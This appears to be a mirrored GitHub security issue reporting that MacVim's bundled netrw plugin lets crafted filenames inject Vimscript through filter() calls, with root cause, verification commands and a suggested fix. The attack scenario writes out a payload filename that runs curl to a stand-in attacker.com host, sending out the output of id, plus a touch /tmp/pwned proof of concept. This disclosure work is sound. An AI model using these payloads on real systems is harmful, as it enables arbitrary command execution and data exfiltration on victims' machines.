macvim-dev / macvim-dev/macvim
[Security] MacVim affected by GHSA-66hr-7p6x-x5j3 — netrw NetrwMarkFile() code injection via crafted filename (vim < 9.2.0480)
Nadie ha tomado este issue todavía.
- Lenguaje dominante
- Vim Script
- Estrellas
- 7.9k
- Forks
- 691
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Descripción
Summary
MacVim bundles the netrw plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim) which contains s:NetrwMarkFile() with a code injection vulnerability. When unmarking files from the global marked-file list, a filename is interpolated into a string expression passed to filter(), allowing a crafted filename containing a double quote " to break out of the quoted string and execute arbitrary Vimscript. The fix from vim 9.2.0480 (8af0f098c3a42a28661d0295364e6e0fd7dbc92c) has not been applied to macvim r183.
Vulnerability Details
- GHSA: GHSA-66hr-7p6x-x5j3
- CVE: CVE-2026-43961
- Upstream fix (vim): 9.2.0480 (commit
8af0f098c3a42a28661d0295364e6e0fd7dbc92c, 2026-05-14) - Affected code:
runtime/pack/dist/opt/netrw/autoload/netrw.vim—s:NetrwMarkFile() - Vulnerability type: CWE-94 — Code Injection
Root Cause
In s:NetrwMarkFile(), when a file is unmarked from the global marked-file list, dname (the full path derived from directory + filename) is interpolated directly into a filter() string expression:
" runtime/pack/dist/opt/netrw/autoload/netrw.vim line 5220 (macvim r183)
call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')
If dname contains a " character, the string literal breaks and arbitrary Vimscript executes inside filter(). For example, a file named:
x" . execute("silent! !touch /tmp/pwned") . "
generates:
call filter(s:netrwmarkfilelist,'v:val != "x" . execute("silent! !touch /tmp/pwned") . ""')
which executes silent! !touch /tmp/pwned.
A second vulnerable call at line 7239 uses the same pattern:
call filter(w:netrw_treedict[dir],'v:val !~ "'.escape(pat,'\\').'"')
Attack Scenario
- Attacker places a maliciously named file in the project directory:
touch 'x" . execute("silent! !curl http://attacker.com/$(id)") . "' - Victim opens the directory in MacVim's netrw (
:Explore), marks the file withmf, then unmarks it withmfagain. - The second
mftriggers thefilter()removal path — injected Vimscript executes arbitrary shell commands.
Verification
$ grep -n "filter.*netrwmarkfilelist" runtime/pack/dist/opt/netrw/autoload/netrw.vim
5179: call filter(s:netrwmarkfilelist_{curbufnr},'v:val != a:fname')
5220: call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')
Line 5220 interpolates dname into the filter string. The fix has not been applied:
$ git log --all --oneline | grep -i "9.2.0480\|NetrwMarkFile"
(no output)
Suggested Fix
Merge vim patches up to at least 9.2.0480. The fix converts string-based filter() calls to lambda form:
" Fixed (vim 9.2.0480):
call filter(s:netrwmarkfilelist_{curbufnr}, {_, v -> v !=# a:fname})
call filter(s:netrwmarkfilelist, {_, v -> v !=# dname})
call filter(w:netrw_treedict[dir], {_, v -> v !~# pat})
References
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Línea de trabajo
Empieza en runtime/pack/dist/opt/netrw/autoload/netrw.vim, en s:NetrwMarkFile(), especialmente en las llamadas a filter() alrededor de las líneas 5220 y 7239. Compara estos puntos de llamada con el commit de Vim 8af0f098c3a42a28661d0295364e6e0fd7dbc92c y, después, prueba el flujo de marcar/desmarcar de :Explore de netrw con un nombre de archivo que contenga una comilla doble. Se considera terminado cuando el nombre de archivo creado para la prueba ya no ejecuta Vimscript a través de ninguna de las dos rutas de filter.
Escrito por el modelo de indexación a partir del texto del issue.
Evaluación
- Stack tecnológico
- vim
- Área
- security
- Tipo de issue
- Error
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Estado de actividad
- Tranquilo
- Claridad
- Bien especificado
- Aptitud para principiantes
- 72/100